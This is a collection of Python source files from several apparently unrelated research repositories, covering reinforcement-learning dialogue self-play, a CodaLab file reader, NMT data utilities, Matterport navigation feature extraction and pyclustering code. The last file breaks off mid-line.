self.mutable_sess = mutable_sess self.immutable_sess = immutable_sess # iterators self.mutable_handles = self.mutable_sess.run([ mutable_model.train_iterator.string_handle(), mutable_model.self_play_ft_iterator.string_handle(), mutable_model.self_play_st_iterator.string_handle() ]) self.immutable_handles = self.immutable_sess.run([ immutable_model.train_iterator.string_handle(), immutable_model.self_play_ft_iterator.string_handle(), immutable_model.self_play_st_iterator.string_handle() ]) self.iterator_mode = 1 # 1 is fulltext, 2 is structured self.summary_writer = summary_writer self.dialogue_mode = dialogue_mode self.batch_size = hparams.self_play_batch_size self.self_play_eval_batch_size = hparams.self_play_eval_batch_size self.update_batch_size = hparams.self_play_update_batch_size self.hparams = hparams self.gamma = hparams.reward_discount assert mutable_model.model.mode == dialogue_utils.mode_self_play_mutable # parameters self.max_dialogue_turns = max_dialogue_turns # won't train the model until train_threadhold samples are reached self.train_threadhold = train_threadhold self.turn1_token = turn1_token self.turn2_token = turn2_token self.turn_tokens = [turn1_token, turn2_token] self.eod_token = eod_token # initialization self.train_samples = [] self.train_counter = 0 self.train_it_initialized = False ##### stats on rl vs sl updates self.num_rl_updates = 0 self.num_sl_updates = 0 def format_samples_batch(self, batch_intent, batch_pred_action, batch_truth_action, batch_utterance, batch_reward_diag, batch_reward_action, batch_size, boundary=None): output_data = [] for i in range(batch_size): utterance = ' '.join(batch_utterance[i]) if not boundary: boundary1 = self.get_dialogue_boundary(self.turn_tokens[0], utterance, self.turn_tokens[0], self.turn_tokens[1]) boundary = boundary1[0] + boundary1[1] str_b = [] for ele in boundary: str_b.append(str(ele)) intent = batch_intent[i] pred_action = batch_pred_action[i] truth_action = batch_truth_action[i] reward_diag, reward_action = batch_reward_diag[i], batch_reward_action[i] arr = [ intent, pred_action, truth_action, utterance, ' '.join(str_b), reward_diag, reward_action ] output_data.append('|'.join(arr)) return output_data def generate_utterance_ordinary(self, data, kb, self_play_model, sess, batch_size, handles): if self.iterator_mode == 1: real_iterator = self_play_model.self_play_ft_iterator else: real_iterator = self_play_model.self_play_st_iterator sess.run( real_iterator.initializer, feed_dict={ self_play_model.data_placeholder: data, self_play_model.kb_placeholder: kb, self_play_model.batch_size_placeholder: batch_size }) iterator_handle = handles[self.iterator_mode] res = self_play_model.model.generate_self_play_utterance( sess, iterator_handle) return res def generate_utterance(self, batch_intent, conv, kb, speaker, turn, batch_size): # preapre output utt = conv.get_train_data() composit_data = self.format_samples_batch( batch_intent=batch_intent, batch_pred_action=['s'] * batch_size, batch_truth_action=['s'] * batch_size, batch_utterance=utt[0], # utterance batch_reward_diag=['0.5'] * batch_size, batch_reward_action=['0.5'] * batch_size, batch_size=batch_size) composit_kb = kb self_play_model, sess, handles = self.agents[speaker] new_utt1, new_utt2, new_action = self.generate_utterance_ordinary( composit_data, composit_kb, self_play_model, sess, batch_size, handles) all_finished = conv.process(new_utt1, new_utt2, new_action, speaker, turn == self.max_dialogue_turns - 1) return all_finished def parse_input(self, batch_input_data, batch_input_kb): batch_intent = [] batch_action = [] batch_kb = batch_input_kb for input_data in batch_input_data: intent, action = input_data.split('|') batch_intent.append(intent) batch_action.append(action) return batch_intent, batch_action, batch_kb def do_rl_training(self, data, kb, batch_size, model, sess, speaker, global_step, self_play_handle): if self.iterator_mode == 1: self_play_iterator = model.self_play_ft_iterator elif self.iterator_mode == 2: self_play_iterator = model.self_play_st_iterator else: raise Exception('not defined self_play_mode') # first do initialization sess.run( self_play_iterator.initializer, feed_dict={ model.data_placeholder: data, model.kb_placeholder: kb, model.batch_size_placeholder: batch_size }) # second, do training res = model.model.self_play(sess, speaker, self_play_handle) all_summaries = res[-1] if self.summary_writer: for key in all_summaries: utils.add_summary(self.summary_writer, global_step, self.dialogue_mode + '_' + key, all_summaries[key]) global_step = res[2] self.num_rl_updates += 1 return global_step def do_SL_training(self, model, sess, global_step, train_handle): # first do initialization if not self.train_it_initialized: sess.run( model.train_iterator.initializer, feed_dict={model.skip_count_placeholder: 0}) self.train_it_initialized = True # second, do training while True: # keep tring until no exception try: res = model.model.self_play_train(sess, train_handle) break except tf.errors.OutOfRangeError: sess.run( model.train_iterator.initializer, feed_dict={model.skip_count_placeholder: 0}) continue all_summaries = res[-1] if self.summary_writer: for key in all_summaries: utils.add_summary(self.summary_writer, global_step, self.dialogue_mode + '_' + key, all_summaries[key]) global_step = res[-2] self.num_sl_updates += 1 return global_step def get_dialogue_boundary(self, start_token, flat_dialogue, start_of_turn1, start_of_turn2): def get_end_token(start, set_of_end_tokens, splitted_dialogues): for i in range(start, len(splitted_dialogues)): if splitted_dialogues[i] in set_of_end_tokens: return i assert False, 'end token not found :' + ' start=' + str( start) + '/' + str(len(splitted_dialogues)) def get_next_start_token(end_position, start_token, splitted_dialogues): for i in range(end_position, len(splitted_dialogues)): if splitted_dialogues[i] == start_token: return i return len(splitted_dialogues) set_of_end_tokens = set([ start_of_turn1, start_of_turn2 ]) # taking out end_of_dialogue token because of dynamic rnn decoder splitted_dialogue = flat_dialogue.split(' ') i = get_next_start_token(0, start_token, splitted_dialogue) all_starts = [] all_ends = [] while i < len(splitted_dialogue ) - 1: # we don't find the end token for the last turn change. end_position = get_end_token(i + 1, set_of_end_tokens, splitted_dialogue) assert splitted_dialogue[end_position] != start_token, ( 'start token ' 'appeared twice') + ''.join(flat_dialogue) all_starts.append(i) all_ends.append(end_position) i = get_next_start_token(i + 1, start_token, splitted_dialogue) return (all_starts, all_ends) def scale_reward_batch(self, b_final_reward, gamma, b_diag): batch_reward_diag = [] batch_reward_action = [] for final_reward, diag in zip(b_final_reward, b_diag): diag_len = len(diag) reward_len = diag_len + self.hparams.len_action all_ind = list(range(reward_len - 1, -1, -1)) all_rewards = [] for i in range(len(all_ind)): all_rewards.append(str(math.pow(gamma, all_ind[i]) * final_reward)) reward_diag = all_rewards[0:-1 * self.hparams.len_action] reward_action = all_rewards[-1 * self.hparams.len_action:] batch_reward_diag.append(' '.join(reward_diag)) batch_reward_action.append(' '.join(reward_action)) return batch_reward_diag, batch_reward_action def maybe_train(self, sample, speaker, global_step, force=False): self.train_samples.append(sample) if force or len(self.train_samples) >= self.train_threadhold: # first generate training examples data_arr = [] kb_arr = [] for sample in self.train_samples: # each sample is a batch of data intent, pred_action, truth_action, utterance, kb = sample # batch version all_rewards = dialogue_utils.compute_reward_batch( utterance, pred_action, truth_action, kb, self.hparams) # batch version train_reward, _, _, _, _, _, _, _, _ = all_rewards final_reward = train_reward reward_diag, reward_action = self.scale_reward_batch( final_reward, self.gamma, utterance) # in batches flat_pred_action = [] for k in range(len(pred_action)): flat_pred_action.append(' '.join(pred_action[k])) new_data_arr = self.format_samples_batch( batch_intent=intent, batch_pred_action=flat_pred_action, batch_truth_action=truth_action, batch_utterance=utterance, batch_reward_diag=reward_diag, batch_reward_action=reward_action, batch_size=self.update_batch_size) data_arr.extend(new_data_arr) kb_arr.extend(kb) data_output, kb_output = data_arr, kb_arr new_global_step = None self.train_samples = [] # clean up self_play_hangle = self.mutable_handles[self.iterator_mode] if self.hparams.rl_training: new_global_step = self.do_rl_training( data_output, kb_output, self.update_batch_size, self.mutable_model, self.mutable_sess, speaker, global_step, self_play_hangle) print('self.hparams.self_play_sl_multiplier=', self.hparams.self_play_sl_multiplier) if self.hparams.self_play_sl_multiplier >= 0: # train multiple or don't train at all print('do', self.hparams.self_play_sl_multiplier, 'supervised training') for _ in range(self.hparams.self_play_sl_multiplier): new_global_step = self.do_SL_training(self.mutable_model, self.mutable_sess, global_step, self.mutable_handles[0]) else: print('do one supervised traiing') if self.train_counter >= abs(self.hparams.self_play_sl_multiplier): new_global_step = self.do_SL_training(self.mutable_model, self.mutable_sess, global_step, self.mutable_handles[0]) self.train_counter = 0 else: self.train_counter += 1 if self.summary_writer: utils.add_summary( self.summary_writer, new_global_step, self.dialogue_mode + '_' + 'sl_rl', self.num_sl_updates * 1.0 / (self.num_rl_updates + 0.0001)) return new_global_step return None def talk(self, max_diag_length, batch_input_data, batch_input_kb, agent1, agent2, worker_step, batch_size, speaker=None): """The main procedure to generate a single self play conversation.""" # parse data bs_intent, bs_truth_action, bs_kb = self.parse_input( batch_input_data, batch_input_kb) # remember the roles of agents self.agents = [agent1, agent2] # In selfplay training the speaker will be non and we randomly chose an # initial speaker and initialize utterance. # In selfplay evaluation the speaker will be specified so we use as is if not speaker: speaker = int(np.random.random() < 0.5) # generate the conversation instance for this conversation. # print ('self.batch_size', self.batch_size) conv = Conversation(max_diag_length, self.turn1_token, self.turn2_token, batch_size, speaker) # generate conversation by turn in batch mode until all conversations # terminated (finished = True) or the number of turns reached the maximum. turn = 0 finished = False while (not finished) and turn < self.max_dialogue_turns: finished = self.generate_utterance(bs_intent, conv, bs_kb, speaker, turn, batch_size) # Change the speaker as we move to the next turn. speaker = (speaker + 1) % 2 turn += 1 all_rewards = dialogue_utils.compute_reward_batch( conv.utt_arr, conv.action_arr, bs_truth_action, bs_kb, self.hparams) metrics = dialogue_utils.calculate_reward_metrics(all_rewards) metrics['num_turns'] = turn # print out step stats only in debug mode if self.summary_writer and self.hparams.debug: for key in metrics: utils.add_summary(self.summary_writer, worker_step, self.dialogue_mode + '_' + key + '_ws', metrics[key]) utt_arr, bs_pred_action = conv.get_train_data() if self.hparams.debug: print('self_play debug: ' + bs_intent[0]) print('self_play debug: all_rewards', all_rewards[0]) print('self_play debug: ' + ' '.join(utt_arr[0])) print('self_play debug: ' + ' '.join(bs_pred_action[0])) sys.stdout.flush() return (bs_intent, bs_pred_action, bs_truth_action, utt_arr, bs_kb), turn, metrics def flip_agent(self, mutable_agent, immutable_agent, flip='random'): """This function flips the role of mutable agent and immutable agent so that they both have chances to play customer and agent. Remember both mutable immutable models actually contain two sub-models: customer and agent. We need to make sure that they have equal chances to serve as both parts when doing the self play. In self play evaluation, this is chosen deterministically based on the value of flip. In self play training, this is chosen randomly. """ if flip == 'random': flip = int(np.random.random() < 0.5) if flip == 0: # in the first flip mutable agent is agent 1 and immutable agent # is agent 2. return mutable_agent, immutable_agent, flip else: # in the second flip mutable agent is agent 2 and immutable agent # is agent 1. return immutable_agent, mutable_agent, flip ```
{ "source": "josephch405/codalab-worksheets", "score": 3 }
#### File: codalab/worker/reader.py ```python from contextlib import closing import http.client import os import threading import codalab.worker.download_util as download_util from codalab.worker.download_util import get_target_path, PathException from codalab.worker.file_util import ( gzip_file, gzip_bytestring, read_file_section, summarize_file, tar_gzip_directory, ) class Reader(object): def __init__(self): self.read_handlers = { 'get_target_info': self.get_target_info, 'stream_directory': self.stream_directory, 'stream_file': self.stream_file, 'read_file_section': self.read_file_section, 'summarize_file': self.summarize_file, } self.read_threads = [] # Threads def read(self, run_state, path, read_args, reply): read_type = read_args['type'] handler = self.read_handlers.get(read_type, None) if handler: handler(run_state, path, read_args, reply) else: err = (http.client.BAD_REQUEST, "Unsupported read_type for read: %s" % read_type) reply(err) def stop(self): for thread in self.read_threads: thread.join() def _threaded_read(self, run_state, path, stream_fn, reply_fn): """ Given a run state, a path, a stream function and a reply function, - Computes the real filesystem path to the path in the bundle - In case of error, invokes reply_fn with an http error - Otherwise starts a thread calling stream_fn on the computed final path """ try: final_path = get_target_path(run_state.bundle_path, run_state.bundle.uuid, path) except PathException as e: reply_fn((http.client.NOT_FOUND, str(e)), None, None) read_thread = threading.Thread(target=stream_fn, args=[final_path]) read_thread.start() self.read_threads.append(read_thread) def get_target_info(self, run_state, path, args, reply_fn): """ Return target_info of path in bundle as a message on the reply_fn """ target_info = None dep_paths = set([dep.child_path for dep in run_state.bundle.dependencies.values()]) # if path is a dependency raise an error if path and os.path.normpath(path) in dep_paths: err = ( http.client.NOT_FOUND, '{} not found in bundle {}'.format(path, run_state.bundle.uuid), ) reply_fn(err, None, None) return else: try: target_info = download_util.get_target_info( run_state.bundle_path, run_state.bundle.uuid, path, args['depth'] ) except PathException as e: err = (http.client.NOT_FOUND, str(e)) reply_fn(err, None, None) return if not path and args['depth'] > 0: target_info['contents'] = [ child for child in target_info['contents'] if child['name'] not in dep_paths ] reply_fn(None, {'target_info': target_info}, None) def stream_directory(self, run_state, path, args, reply_fn): """ Stream the directory at path using a separate thread """ dep_paths = set([dep.child_path for dep in run_state.bundle.dependencies.values()]) exclude_names = [] if path else dep_paths def stream_thread(final_path): with closing(tar_gzip_directory(final_path, exclude_names=exclude_names)) as fileobj: reply_fn(None, {}, fileobj) self._threaded_read(run_state, path, stream_thread, reply_fn) def stream_file(self, run_state, path, args, reply_fn): """ Stream the file at path using a separate thread """ def stream_file(final_path): with closing(gzip_file(final_path)) as fileobj: reply_fn(None, {}, fileobj) self._threaded_read(run_state, path, stream_file, reply_fn) def read_file_section(self, run_state, path, args, reply_fn): """ Read the section of file at path of length args['length'] starting at args['offset'] (bytes) using a separate thread """ def read_file_section_thread(final_path): bytestring = gzip_bytestring( read_file_section(final_path, args['offset'], args['length']) ) reply_fn(None, {}, bytestring) self._threaded_read(run_state, path, read_file_section_thread, reply_fn) def summarize_file(self, run_state, path, args, reply_fn): """ Summarize the file including args['num_head_lines'] and args['num_tail_lines'] but limited with args['max_line_length'] using args['truncation_text'] on a separate thread """ def summarize_file_thread(final_path): bytestring = gzip_bytestring( summarize_file( final_path, args['num_head_lines'], args['num_tail_lines'], args['max_line_length'], args['truncation_text'], ).encode() ) reply_fn(None, {}, bytestring) self._threaded_read(run_state, path, summarize_file_thread, reply_fn) ```
{ "source": "josephch405/curriculum-nmt", "score": 3 }
#### File: josephch405/curriculum-nmt/utils.py ```python import math from typing import List import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import nltk nltk.download('punkt') from tqdm import tqdm def pad_sents(sents, pad_token): """ Pad list of sentences according to the longest sentence in the batch. The paddings should be at the end of each sentence. @param sents (list[list[str]]): list of sentences, where each sentence is represented as a list of words @param pad_token (str): padding token @returns sents_padded (list[list[str]]): list of sentences where sentences shorter than the max length sentence are padded out with the pad_token, such that each sentences in the batch now has equal length. """ sents_padded = [] ### YOUR CODE HERE (~6 Lines) lens = map(lambda words: len(words), sents) max_len = max(lens) for sent in sents: _sent = sent[:] _sent += [pad_token] * (max_len - len(_sent)) sents_padded += [_sent] ### END YOUR CODE return sents_padded def read_corpus(file_path, source, space_tokenize=False, dev_mode=False): """ Read file, where each sentence is dilineated by a `\n`. @param file_path (str): path to file containing corpus @param source (str): "tgt" or "src" indicating whether text is of the source language or target language @param space_tokenize (bool): Whether to tokenize with just spaces. Useful for BPE input @param dev_mode (bool): Only reads first 100 lines; for fast iteration """ data = [] i = 0 for line in tqdm(open(file_path)): sent = nltk.word_tokenize(line) if not space_tokenize else line.strip().split() # only append <s> and </s> to the target sentence if source == 'tgt': sent = ['<s>'] + sent + ['</s>'] data.append(sent) # TODO: nicer iteration dev flag i += 1 if i > 100 and dev_mode: break return data def batch_iter(data, batch_size, shuffle=False): """ Yield batches of source and target sentences reverse sorted by length (largest to smallest). @param data (list of (src_sent, tgt_sent)): list of tuples containing source and target sentence @param batch_size (int): batch size @param shuffle (boolean): whether to randomly shuffle the dataset """ batch_num = math.ceil(len(data) / batch_size) index_array = list(range(len(data))) if shuffle: np.random.shuffle(index_array) for i in range(batch_num): indices = index_array[i * batch_size: (i + 1) * batch_size] examples = [data[idx] for idx in indices] examples = sorted(examples, key=lambda e: len(e[0]), reverse=True) src_sents = [e[0] for e in examples] tgt_sents = [e[1] for e in examples] yield src_sents, tgt_sents def get_pacing_batch(data, batch_size, shuffle=False): """ Returns (not yields) a single batch of source and target sentences @param data (list of (src_sent, tgt_sent)): list of tuples containing src and tgt sents @param batch_size (int): batch size @param shuffle (boolean): whether to randomly shuffle the dataset """ index_array = list(range(len(data))) if shuffle: np.random.shuffle(index_array) indices = index_array[:batch_size] examples = [data[idx] for idx in indices] examples = sorted(examples, key=lambda e: len(e[0]), reverse=True) src_sents = [e[0] for e in examples] tgt_sents = [e[1] for e in examples] return src_sents, tgt_sents ```
{ "source": "josephch405/rlkit", "score": 2 }
#### File: rlkit/scripts/run_gibson_policy.py ```python import argparse import torch from rlkit.core import logger from rlkit.samplers.rollout_functions import rollout from rlkit.envs.wrappers import NormalizedBoxEnv import rlkit.torch.pytorch_util as ptu from rlkit.util.gibson import add_env_args, get_config_file, load_env def simulate_policy(args): data = torch.load(args.file) policy = data['evaluation/policy'] if args.gpu: ptu.set_gpu_mode(True) policy.cuda() print("set gpu") print(ptu.device) config_file = get_config_file(args.config_file) env = NormalizedBoxEnv( load_env(args, config_file, args.env_mode, ptu.device.index)) print("Policy loaded") while True: path = rollout( env, policy, max_path_length=args.H, render=False, ) if hasattr(env, "log_diagnostics"): env.log_diagnostics([path]) logger.dump_tabular() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('file', type=str, help='path to the snapshot file') parser.add_argument('--H', type=int, default=300, help='Max length of rollout') parser.add_argument('--gpu', action='store_true') add_env_args(parser) args = parser.parse_args() simulate_policy(args) ```
{ "source": "josephch405/selfmonitoring-agent", "score": 3 }
#### File: selfmonitoring-agent/scripts/generate_navigable_labels_multi.py ```python import numpy as np import cv2 import json import math import base64 import csv import sys from torchvision import transforms, models import torch import matplotlib.pyplot as plt csv.field_size_limit(sys.maxsize) sys.path.append('build') # Caffe and MatterSim need to be on the Python path import MatterSim from timer import Timer TSV_FIELDNAMES = ['scanId', 'viewpointId', 'nav'] VIEWPOINT_SIZE = 36 # Number of discretized views from one viewpoint FEATURE_SIZE = 1000 # 2048 BATCH_SIZE = 4 # Some fraction of viewpoint size - batch size 4 equals 11GB memory GPU_ID = 0 OUTFILE = 'img_features/navigable.tsv' GRAPHS = 'connectivity/' # Simulator image parameters WIDTH=640 HEIGHT=480 VFOV=60 torch.no_grad() def load_viewpointids(): viewpointIds = [] with open(GRAPHS+'scans.txt') as f: scans = [scan.strip() for scan in f.readlines()] for scan in scans: with open(GRAPHS+scan+'_connectivity.json') as j: data = json.load(j) for item in data: if item['included']: viewpointIds.append((scan, item['image_id'])) print('Loaded %d viewpoints' % len(viewpointIds)) return viewpointIds def build_tsv(): # Set up the simulator sim = MatterSim.Simulator() sim.setCameraResolution(WIDTH, HEIGHT) sim.setCameraVFOV(math.radians(VFOV)) sim.setDiscretizedViewingAngles(True) sim.setRenderingEnabled(False) sim.init() count = 0 t_render = Timer() with open(OUTFILE, 'w') as tsvfile: writer = csv.DictWriter(tsvfile, delimiter = '\t', fieldnames = TSV_FIELDNAMES) # Loop all the viewpoints in the simulator viewpointIds = load_viewpointids() for scanId,viewpointId in viewpointIds: t_render.tic() # Loop all discretized views from this location blobs = [] # Each vertex has a max of 8 possible nav directions # Each target is [heading, elevation, dist] features = np.zeros([VIEWPOINT_SIZE, 10, 3], dtype=np.float32) for ix in range(VIEWPOINT_SIZE): if ix == 0: sim.newEpisode(scanId, viewpointId, 0, math.radians(-30)) elif ix % 12 == 0: sim.makeAction(0, 1.0, 1.0) else: sim.makeAction(0, 1.0, 0) state = sim.getState() assert state.viewIndex == ix all_nav_except_stay = state.navigableLocations[1:] target_mapping = lambda l: [l.rel_heading, l.rel_elevation, l.rel_distance] filter_distances = lambda l: l[2] <= 5 and l[2] >= 0.5 list_of_navs = map(target_mapping, all_nav_except_stay) list_of_navs = list(filter(filter_distances, list_of_navs)) n_arr = np.array(list_of_navs, dtype=np.float32) if len(n_arr) > 0: features[ix, :len(n_arr)] = n_arr t_render.toc() writer.writerow({ 'scanId': scanId, 'viewpointId': viewpointId, 'nav': base64.b64encode(features).decode('ascii') }) count += 1 if count % 100 == 0: print('Processed %d / %d viewpoints, %.1fs avg render time, projected %.1f hours' %\ (count,len(viewpointIds), t_render.average_time, (t_render.average_time)*(len(viewpointIds)- count)/3600)) def read_tsv(infile): # Verify we can read a tsv in_data = [] with open(infile, "r+") as tsv_in_file: reader = csv.DictReader(tsv_in_file, delimiter='\t', fieldnames = TSV_FIELDNAMES) for item in reader: item['nav'] = np.frombuffer(base64.b64decode(item['nav']), dtype=np.float32).reshape(-1, 10, 3) in_data.append(item) return in_data if __name__ == "__main__": build_tsv() data = read_tsv(OUTFILE) print('Completed %d viewpoints' % len(data)) ``` #### File: tasks/R2R-pointing/data.py ```python import base64 import csv import sys import numpy as np IMG_FIELDNAMES = ['scanId', 'viewpointId', 'image_w','image_h', 'vfov', 'features'] VIEWPOINT_SIZE = 36 # Number of discretized views from one viewpoint FEATURE_SIZE = 2048 # 2048 NAV_FIELDNAMES = ['scanId', 'viewpointId', 'nav'] csv.field_size_limit(sys.maxsize) def read_img_tsv(infile): # Verify we can read a tsv in_data = [] with open(infile, "r+") as tsv_in_file: reader = csv.DictReader(tsv_in_file, delimiter='\t', fieldnames = IMG_FIELDNAMES) for item in reader: item['image_h'] = int(item['image_h']) item['image_w'] = int(item['image_w']) item['vfov'] = int(item['vfov']) item['features'] = np.frombuffer(base64.b64decode(item['features']), dtype=np.float32).reshape((VIEWPOINT_SIZE, FEATURE_SIZE)) in_data.append(item) return in_data def read_navigable_tsv(infile): # Verify we can read a tsv in_data = [] with open(infile, "r+") as tsv_in_file: reader = csv.DictReader(tsv_in_file, delimiter='\t', fieldnames = NAV_FIELDNAMES) for item in reader: item['nav'] = np.round(np.frombuffer(base64.b64decode(item['nav']), dtype=np.float32), 8) in_data.append(item) return in_data if __name__ == "__main__": img_data = read_img_tsv("img_features/ResNet-152-imagenet.tsv") nav_data = read_navigable_tsv("img_features/navigable.tsv") ``` #### File: tasks/R2R-pointing/models.py ```python import torch from torch import nn from torch import functional as F final_output_dims = [10, 3] class LinearBinaryModel(nn.Module): def __init__(self, *sizes, activation=nn.ReLU): super(LinearBinaryModel, self).__init__() assert len(sizes) >= 1, "Need at least one 'sizes' specified" sizes = list(sizes) + [1] self.layers = [nn.Linear(sizes[0], sizes[1])] i = 1 for i in range(1, len(sizes) - 1): self.layers.append(activation()) self.layers.append(nn.Linear(sizes[i], sizes[i+1])) i += 1 self.layers = nn.Sequential(*self.layers) def forward(self, x): # x is [-1, 2048] y = x y = self.layers(y).sigmoid() return y class LinearModel(nn.Module): def __init__(self, *sizes, activation=nn.ReLU): super(LinearModel, self).__init__() assert len(sizes) >= 1, "Need at least one 'sizes' specified" sizes = list(sizes) + [30] self.layers = [nn.Linear(sizes[0], sizes[1])] i = 1 for i in range(1, len(sizes) - 1): self.layers.append(activation()) self.layers.append(nn.Linear(sizes[i], sizes[i+1])) i += 1 self.layers = nn.Sequential(*self.layers) def forward(self, x): # x is [-1, 2048] y = x y = self.layers(y) y = y.view(-1, 10, 3) y[:, :, :2] = y[:, :, :2].tanh() y[:, :, 2] = y[:, :, 2].sigmoid() * 20 mask = y[:, :, 2] > 0.5 y[:, :, 0] *= mask y[:, :, 1] *= mask return y # returns [-1, 10, 3] ```
{ "source": "josephchapman/slack_nominator", "score": 3 }
#### File: slack_nominator/classes/bot.py ```python import os import requests import json import datetime from random import shuffle from classes.user import * from classes.cache import * LEGACY_TOKEN = os.environ['SLACK_LEGACY_TOKEN'] # Methods: # settings_read() # select() # _select(cached_members, inclusions) # post_message(channel, message) # assign() class Bot(): def __init__(self): self.settings_file = 'settings.json' self.cache = Cache() # Instantiate the cache def settings_read(self): with open(self.settings_file, 'r') as infile: settings_data = json.load(infile) return settings_data def select(self): # This method is a wrapper around `_select()` # It reads the settings and cache, # then passes the required data to `_select()` # Read cache file: `member_cache.json` cache_data = self.cache.read() # Read settings file: `settings.json` settings_data = self.settings_read() # Select a member from inclusions, using cached data for details selected_member_obj = self._select(cache_data['Members'], settings_data['Inclusions']) return selected_member_obj def _select(self, cached_members, inclusions): # Returns a `User` object (or None) from a list of `inclusions` based on attributes. # The `cached_members` data is used to translate between `Real Name` and `ID` # Turn `inclusions` into list of IDs members = [cached_member['ID'] for cached_member in cached_members if cached_member['Real Name'] in inclusions] # Shuffle the member IDs from cache shuffle(members) # Check they're included and active # but not remote for member in members: member_obj = User(member) if ( member_obj.presence() == 'active' and not member_obj.remote() ): print('Selected Member: {}'.format(str(member_obj.names()))) return member_obj else: print('Selected Member: NONE FOUND') return None def post_message(self, channel, message): # As of October 2017, this API method accepts 'Content-type': 'application/json', # https://api.slack.com/methods/chat.postMessage # https://api.slack.com/changelog/2017-10-keeping-up-with-the-jsons # The requests.post request can therefore use the `json` option to send the payload. # http://docs.python-requests.org/en/master/user/quickstart/#passing-parameters-in-urls # `json` option requires requests version 2.4.2. Run `pip show requests` to view installed version. headers = { 'Content-type': 'application/json; charset=UTF-8', 'Authorization': 'Bearer {}'.format(LEGACY_TOKEN) } payload = { 'channel': channel, 'text': message, 'as_user': 'false', 'username': 'Slack Nominator', 'icon_emoji': ':game_die:' } r = requests.post( 'https://slack.com/api/chat.postMessage', headers=headers, json=payload ) return r.text def assign(self): # Read settings file: `settings.json` settings_data = self.settings_read() cache_data = self.cache.read() # Convert timestamps in the cache file to datetime objects latest_flush_strp = datetime.datetime.strptime(cache_data['Latest Flush'], '%Y-%m-%d %H:%M:%S') latest_update_strp = datetime.datetime.strptime(cache_data['Latest Update'], '%Y-%m-%d %H:%M:%S') # if it's Monday and cache wasn't already flushed today if ( datetime.date.today().weekday() == 0 and not latest_flush_strp.date() == datetime.datetime.now().date() ): self.cache.flush() # Update cache cache_data = self.cache._update(settings_data['Settings']['Channel Scan'], cache_data) # Select member selected_member_obj = self._select(cache_data['Members'], settings_data['Inclusions']) action = 'take notes in the huddle today' # Post message if selected_member_obj: user_id = selected_member_obj.id username, real_name = selected_member_obj.names() message = '{0} (<@{1}>) has been randomly selected to {2}'.format(real_name, user_id, action) print(message) response = self.post_message(settings_data['Settings']['Channel Post'], message) print ('Response: {}\n'.format(response)) else: message = 'I failed to find a valid user to {}'.format(action) print(message) response = self.post_message(settings_data['Settings']['Channel Post'], message) print ('Response: {}\n'.format(response)) ```
{ "source": "JosephChataignon/limited-comparators-quantizer", "score": 3 }
#### File: JosephChataignon/limited-comparators-quantizer/core.py ```python import numpy as np import copy import update,utils import visualization as visu import measures as ms def centroids(hyperplanes,param,distrib,dataset=None): """ Gives the centroid of every non-void region. The returned object is an array containing every non-void regions with the coordinates of its centroid. param is the number of realisations of f on the whole space, that are used for computing the centroids. Augmenting it will augment the precision but also computation time. """ output = [] rpr = [] # realisations per region for i in range(param): x = utils.f(len(hyperplanes[0])-1 , distrib, dataset) r = utils.findRegion(x,hyperplanes) ir = -1 # index of r in the array output for j in range(len(output)): # check if r is already registered if np.all(output[j][0] == r): ir = j break if ir == -1: output.append([r,x]) rpr.append(1.) else: output[ir][1] += x rpr[ir] += 1. # divide the coordinates for each region by the rpr for that region for k in range(len(output)): output[k][1] /= rpr[k] return np.array(output) def optimisation(hp,pCentroids,pMeasure,pOptimisation,visualisation=[False,False,10],wTitle='',distrib='gaussian',m='mse',updateMethod='random directions',precisionCheck=False,structureCheck=False): ''' Uses an update function to update the hyperplanes hp, with pCentroids and pMeasure as parametersof the functions centroids() and measure() pOptimisation: number of iterations visualisation = [bool visualiseInitial, bool visualiseSteps, int stepsInterval] wTitle: the title used for visualisation distrib: the random distribution studied updateMethod: the method to use If precisionCheck, it is checked wether or not the new config generated is better than the previous one. If structureCheck, it is checked wether or not the structure of the new config (hyperplanes intersections, regions) is different from the previous one. ''' measureEvolution = [ms.measure(m,hp,pCentroids,pMeasure,distrib)] saveHyperplanes = [hp] if visualisation[0]: visu.visualiseHyperplanes(hp,wTitle+', iteration= %d, error= %f'%(0,measureEvolution[-1]),5,distrib) # optimization steps for k in range(1,pOptimisation+1): print('optimisation function: iteration',k,'of',pOptimisation) u = update.choseUpdateFunction(updateMethod,k) if u == 'oneVarInterpolation': for i in range(len(hp)): for j in range(len(hp[i])): hp,newMeasure = update.oneVarInterpolation(hp,pCentroids,pMeasure*k,k, measureEvolution[-1], distrib,m, precisionCheck, structureCheck, var=[i,j]) elif u == 'indVarByVar': for i in range(len(hp)): for j in range(len(hp[i])): hp,newMeasure = update.updateHyperplanes(hp,pCentroids,pMeasure*k,k, measureEvolution[-1], u,distrib,m, precisionCheck, structureCheck, var=[i,j]) else: hp,newMeasure = update.updateHyperplanes(hp,pCentroids,pMeasure*k,k, measureEvolution[-1], u,distrib,m, precisionCheck, structureCheck) measureEvolution.append(newMeasure) saveHyperplanes.append(copy.deepcopy(hp)) # display result if (k % visualisation[2] == 0) and visualisation[1]: visu.visualiseHyperplanes( hp , wTitle+', iteration= %d, error= %f'%(k,measureEvolution[-1]) , 5 , distrib) print('measureEvolution[-1]',measureEvolution[-1]) return measureEvolution,saveHyperplanes ```
{ "source": "JosephChataignon/pyclustering", "score": 2 }
#### File: ci/cloud/__main__.py ```python import sys from cloud.task import task from cloud.task_handler import task_handler def run(): if len(sys.argv) == 2: client_task = task(sys.argv[1], []) token = "" elif len(sys.argv) < 3: raise SyntaxError("ERROR: Incorrect amount of arguments '%d' " "(please, see 'python3 ci/cloud --help')." % len(sys.argv)) else: token = sys.argv[1] action = sys.argv[2] params = sys.argv[3:] client_task = task(action, params) task_handler(token).process(client_task) if __name__ == '__main__': try: run() exit(0) except Exception as error: print(error) exit(-1) ``` #### File: pyclustering/cluster/clique.py ```python import itertools from pyclustering.cluster import cluster_visualizer from pyclustering.cluster.encoder import type_encoding from pyclustering.core.wrapper import ccore_library import pyclustering.core.clique_wrapper as wrapper import matplotlib import matplotlib.gridspec as gridspec import matplotlib.pyplot as plt import matplotlib.patches as patches class clique_visualizer: """! @brief Visualizer of CLIQUE algorithm's results. @details CLIQUE visualizer provides visualization services that are specific for CLIQUE algorithm, for example, to display grid and its density. """ __maximum_density_alpha = 0.6 @staticmethod def show_grid(cells, data): """! @brief Show CLIQUE blocks as a grid in data space. @details Each block contains points and according to this density is displayed. CLIQUE grid helps to visualize grid that was used for clustering process. @param[in] cells (list): List of cells that is produced by CLIQUE algorithm. @param[in] data (array_like): Input data that was used for clustering process. """ dimension = 